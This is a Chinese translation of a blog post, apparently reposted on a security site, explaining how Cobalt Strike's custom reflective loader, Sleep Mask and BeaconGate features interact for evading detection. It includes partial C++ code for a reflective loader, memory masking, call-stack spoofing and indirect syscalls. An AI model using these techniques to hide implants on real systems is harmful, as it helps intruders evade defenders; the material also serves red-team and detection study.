UDRL、SleepMask 和 BeaconGate

admin 2024年12月1日22:49:27评论41 views字数 11273阅读37分34秒阅读模式

UDRL, SleepMask, and BeaconGate

在过去几天里,我一直在研究 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 功能。花了一些时间来理解这些能力之间的关系,因此这篇文章的目的是为那些关注 Beacon 这些方面的人提供一个简明的概述,并希望能为开发者提供一些帮助。这些功能可以独立使用,为 Beacon 的不同部分带来自定义的规避能力,但更有趣的是,它们在某种程度上也可以相互操作。

用户定义的反射加载器

Beacon 只不过是一个需要加载到进程中才能运行的 Windows DLL。实现这一点有多种方法,但 Beacon 是根据 Stephen Fewer 的反射 DLL 注入[1] 技术设计的。这是一个负责通过实现自己的 PE 加载器来加载自己的 DLL。该 DLL 导出一个名为ReflectiveLoader 的函数,当调用时,它会遍历自己的映像并将其新副本映射到内存中。它必须通过解析其导入表和执行重定位等来满足 DLL 的运行时要求。然后,它定位并执行其入口点 DllMain,此时 Beacon 就启动并运行了。

反射加载器的行为可以通过可塑性 C2 进行影响。例如,stage.obfuscate 所做的事情之一是指示反射加载器在没有其头部的情况下将 Beacon 映射到内存中。还有其他选项,例如stage.allocator,它更改用于为 Beacon 分配新内存的 API;stage.magic_pe 会覆盖 Beacon 的 NT 头中的 PE 特征标记;而stage.stomppe 指示反射加载器在将 Beacon 映射到内存后覆盖MZPEe_lfanew 值。

用户定义的反射加载器 (UDRL) 允许操作员用自己的自定义实现替换 Beacon 的默认反射加载器。这使他们能够超越可塑性 C2 所暴露的自定义功能。想使用在stage.allocator 中不可用的分配 API?没问题。想覆盖比stage.magic_mz 允许的更多字节?尽管来吧。

这是一个非常基本的 UDRL 可能的结构(为了简洁省略了大量代码)。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineextern "C" {#pragma code_seg(".text$a")    ULONG_PTR __cdecl ReflectiveLoader() {        // determine start address of loader#ifdef _WIN64void* loaderStart = &ReflectiveLoader;#elif _WIN32void* loaderStart = (char*)GetLocation() - 0xE;#endif        // determine base address of Beacon DLL        ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();        // parse NTHeaders        PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;        PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);        // resolve the functions needed by the loader        _PPEB pebAddress = GetPEBAddress();        WINDOWSAPIS winApi = { 0 };if (!ResolveBaseLoaderFunctions(pebAddress, &winApi)) {returnNULL;        }        // allocate memory for Beacon, yolo RWX        ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (loadedDllBaseAddress == NULL) {returnNULL;        }        // map sectionsif (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress)) {returnNULL;        };        // resolve Beacon's import table...        ResolveImports(rawDllNtHeader, loadedDllBaseAddress, &winApi);        // perform relocations...        ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress);        // calculate Beacon's entry point        ULONG_PTR entryPoint = loadedDllBaseAddress + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;        // flush instruction cache to avoid stale code being used        winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);        // call Beacon's entrypoints        ((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);        ((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);        // return address of entry point to caller        return entryPoint;    }}// ReflectiveLoader.cpp

使用 UDRL 时需要注意的一点是,加载的 C2 配置文件中stage块定义的任何选项将被忽略。这是出于设计考虑,因为 UDRL 的理念是将开发者置于主导地位。然而,这在使用默认的 Sleep Mask 时可能会造成混淆,因为它在掩盖和揭示 Beacon 内存时确实使用stage.userwx作为提示。例如,如果stage.userwx被设置为true,但 UDRL 将内存分配为 R/RW/RX(根据每个部分的需要),则 Sleep Mask 将无法掩盖 Beacon 的所有部分(使其保持明文),或者它会尝试掩盖但由于不知道需要先将内存设置为可写而崩溃。

另外,值得注意的是,这个 UDRL 与 Beacon 的 fork & run 后执行命令(execute-assembly、powerpick 等)所使用的反射加载器并不相同。操作员可以编写自定义的后执行 UDRL 来替换默认的(它们几乎是相同的)。然而,正如自定义 UDRL 忽略了可变 C2 的stage块中的选项一样,自定义后执行 UDRL 也会忽略post-ex块中的选项。

自定义 Sleep Masks

使用自定义 Sleep Mask 和 UDRL 时,内存分配的问题可以完全解决,因为 UDRL 实际上可以通过 Beacon 将其分配的内存信息传递给 Sleep Mask。这不仅可以包括为 Beacon 的各个部分(.data、.text 等)分配的内存,还可以包括开发者希望进行的任何自定义内存分配。

这些数据通过ALLOCATED_MEMORY_REGION结构提供。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linetypedefstruct _ALLOCATED_MEMORY_REGION {    ALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory    PVOID  AllocationBase;                 // The base address of the allocated memory block    SIZE_T RegionSize;                     // The size of the allocated memory block    DWORD Type;                            // The type of memory allocated    ALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures    ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;typedef struct {    ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;// BeaconUserData.h

然后通过调用 DllMain,并将 'reason' 设置为DLL_BEACON_USER_DATA,将其传递给 Beacon,随后再调用DLL_BEACON_START

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// pass Beacon User Data (BUD) to Beacon((DLLMAIN)entryPoint)(0, DLL_BEACON_USER_DATA, &userData);// call Beacon's entrypoints((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);// ReflectiveLoader.cpp

当 Beacon 准备进入休眠时,执行将传递给 Sleep Mask,使用PSLEEPMASK_INFO 结构。

ounter(linevoidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)

分配的内存数据可以在BEACON_INFO 结构中找到,可以根据需要进行遍历和处理。

ounter(lineinfo->beacon_info.allocatedMemory.AllocatedMemoryRegions

系统调用

开发者还可以完全替换 Beacon 的默认系统调用解析器(我认为是基于 SysWhispers3(?))为其他的解析器(如 Hell's Gate、Halo's Gate、Tartarus' Gate、RecycledGate 等)。在 UDRL 中解析系统调用编号和函数指针,并填充SYSCALL_APIRTL_API 结构。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linetypedefstruct {    SYSCALL_API_ENTRY ntAllocateVirtualMemory;    SYSCALL_API_ENTRY ntProtectVirtualMemory;    SYSCALL_API_ENTRY ntFreeVirtualMemory;    SYSCALL_API_ENTRY ntGetContextThread;    SYSCALL_API_ENTRY ntSetContextThread;    SYSCALL_API_ENTRY ntResumeThread;    SYSCALL_API_ENTRY ntCreateThreadEx;    SYSCALL_API_ENTRY ntOpenProcess;    SYSCALL_API_ENTRY ntOpenThread;    SYSCALL_API_ENTRY ntClose;    SYSCALL_API_ENTRY ntCreateSection;    SYSCALL_API_ENTRY ntMapViewOfSection;    SYSCALL_API_ENTRY ntUnmapViewOfSection;    SYSCALL_API_ENTRY ntQueryVirtualMemory;    SYSCALL_API_ENTRY ntDuplicateObject;    SYSCALL_API_ENTRY ntReadVirtualMemory;    SYSCALL_API_ENTRY ntWriteVirtualMemory;    SYSCALL_API_ENTRY ntReadFile;    SYSCALL_API_ENTRY ntWriteFile;    SYSCALL_API_ENTRY ntCreateFile;} SYSCALL_API, *PSYSCALL_API;typedefstruct {   PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;   PVOID rtlFreeHeapAddr;   PVOID rtlGetProcessHeapAddr;} RTL_API, *PRTL_API;// BeaconUserData.h

这些数据随后通过上述的DLL_BEACON_USER_DATA 调用传递给 Beacon。一个SYSCALL_API_ENTRY 条目如下所示:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linetypedef struct{    PVOID fnAddr;  // address of Nt* function    PVOID jmpAddr; //syscall/FastSysCall/KiFastSystemCall instruction    DWORD sysnum;  // System Call number} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;// BeaconUserData.h

如果在 C2 配置文件中将stage.syscall_method 设置为direct,则使用fnAddr 值。如果设置为indirect,则使用jmpAddrsysnum 值。

BeaconGate

BeaconGate 是一个功能,指示 Beacon 通过自定义 Sleep Mask 代理支持的 API 调用。其背后的想法是,Sleep Mask 可以掩盖 Beacon 的内存,设置任何额外的规避功能(例如调用栈欺骗),进行 API 调用,解除对 Beacon 的掩盖,然后将结果传回调用者。

如果在配置文件中同时定义了syscall_methodbeacon_gate,则 BeaconGate 将优先处理。在下面的示例中,只有 VirtualAlloc 将通过 BeaconGate 代理,而所有其他调用将使用间接系统调用。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(linestage {set syscall_method "indirect";  beacon_gate {    VirtualAlloc;  }}

然而,这并不是说你不能从 BeaconGate 发起系统调用(我们稍后会讨论这个问题)。

当 API 调用被代理到 Sleep Mask 时,相关数据保存在FUNCTION_CALL 结构中。

ounter(lineounter(linevoidsleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)// sleepmask.cpp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linetypedefstruct {    PVOID functionPtr;    // function to call    WinApi function;      // enum representing target api    int numOfArgs;        // number of arguments    ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS];    // array of pointers containing the passed arguments (e.g. rcx, rdx, ...)    BOOL bMask;    // indicates whether Beacon should be masked during the call    ULONG_PTR retValue;    // a pointer containing the return value} FUNCTION_CALL, * PFUNCTION_CALL;// beacon_gate.h

处理这些调用的最佳位置可能是在BeaconGateWrapper 函数中。使用 WinAPI 枚举来检查正在调用哪个 API,并使用您希望的任何技术(如 VulcanRaven、SilentMoonwalk 等)执行适当的调用栈欺骗。如果您不需要(或不想)使用系统调用(例如,因为您在 UDRL 中执行了一些卸钩),只需在您的栈欺骗后调用原始函数指针。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linevoidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {// mask beacon if needed    if (functionCall->bMask == TRUE) {        MaskBeacon(&info->beacon_info);    }    // call stack spoofing code for requested api    if (functionCall->function == VIRTUALALLOC) {        virtualAllocStackSpoof(functionCall->args);    }    // execute original function pointer    BeaconGate(functionCall);    // unmask beacon if needed    if (functionCall->bMask == TRUE) {        UnMaskBeacon(&info->beacon_info);    }    return;}// gate.cpp

如果您确实想使用系统调用,可以忽略原始函数指针,直接执行自定义的系统调用代码。BeaconGate 仍然可以从您在 UDRL 中进行的任何自定义系统调用解析中受益,方法是使用BeaconGetSyscallInformation BOF API。该 API 返回一个PBEACON_SYSCALLS 结构,其中包含您通过 BUD 提供的PSYSCALL_APIPRTL_API

ounter(lineounter(lineounter(lineounter(linetypedefstruct {    PSYSCALL_API syscalls;    PRTL_API     rtls;} BEACON_SYSCALLS, *PBEACON_SYSCALLS;

需要注意的是,这些数据是从 Beacon 复制的,因此必须 在 Beacon 被掩蔽之前执行。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linevoidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {// get custom syscall info  BEACON_SYSCALLS syscall_info;  BeaconGetSyscallInformation(&syscall_info, TRUE);  if (functionCall->bMask == TRUE) {    MaskBeacon(&info->beacon_info);  }  ...}// gate.cpp

您可以根据所调用的 API,访问所需的 ssn、直接跳转和间接跳转值。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linevoidBeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {// get custom syscall info    BEACON_SYSCALLS syscall_info;    BeaconGetSyscallInformation(&syscall_info, TRUE); // mask beacon if needed if (functionCall->bMask == TRUE) {        MaskBeacon(&info->beacon_info);    }    if (functionCall->function == VIRTUALALLOC) {        // setup a fake call stack        virtualAllocStackSpoof(functionCall->args);        // syscall        prepSyscall(            syscall_info.syscalls->ntAllocateVirtualMemory.sysnum,            syscall_info.syscalls->ntAllocateVirtualMemory.jmpAddr);        functionCall->retValue = doSyscall(functionCall->args);    }    // unmask beacon if needed    if (functionCall->bMask == TRUE) {        UnMaskBeacon(&info->beacon_info);    }    return;}

BOF 系统调用 API

Beacon 还提供了一组特定的系统调用 API,例如BeaconVirtualAllocBeaconVirtualProtectBeaconOpenProcess,供后期执行的 BOF 使用。

当您调用这些 API 时,执行将根据 Beacon 的配置进行。如果 Beacon 未配置为使用系统调用,则将作为常规 WinAPI 调用执行;如果配置为使用默认的直接/间接系统调用实现,则将根据 SysWhispers3 执行;如果您从 UDRL 传入了自定义系统调用数据,则将根据您的自定义解析方法执行;如果配置为使用 BeaconGate,则调用将被代理到您的 Sleep Mask。

对于使用这些常见 API 的 BOF,您无需在所有后期执行的 BOF 之间重复相同的系统调用和/或调用栈欺骗代码。

结论

我认为这篇文章涵盖了我想强调的关于 UDRL、SleepMask 和 BeaconGate 的主要观点。如果它们看起来太可怕或复杂,我希望这能提供一些澄清。一旦您理解了它们,它们并不难使用。

随着 BeaconGate 的发展和普及,我预计开发团队会努力简化这些功能的某些方面。例如,当前的直接/间接系统调用可能会在其当前状态下被弃用,转移到 Sleep Mask 中,并默认通过 BeaconGate 代理。我们甚至可能会看到 SleepMask 和 BeaconGate 合并为一个名称。SleepGate?😅

另一个合乎逻辑的进展可能是使 BOF 开发人员能够通过 BeaconGate 代理任何任意的 API 调用,而不仅仅是当前支持的约 20 个。这将使 BOF 能够受益于 BeaconGate 的规避能力,而无需 BOF 本身进行任何繁重的工作。

参考资料

[1]

反射 DLL 注入:https://github.com/stephenfewer/ReflectiveDLLInjection

原文始发于微信公众号(securitainment):UDRL、SleepMask 和 BeaconGate

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月1日22:49:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UDRL、SleepMask 和 BeaconGatehttps://cn-sec.com/archives/3455597.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息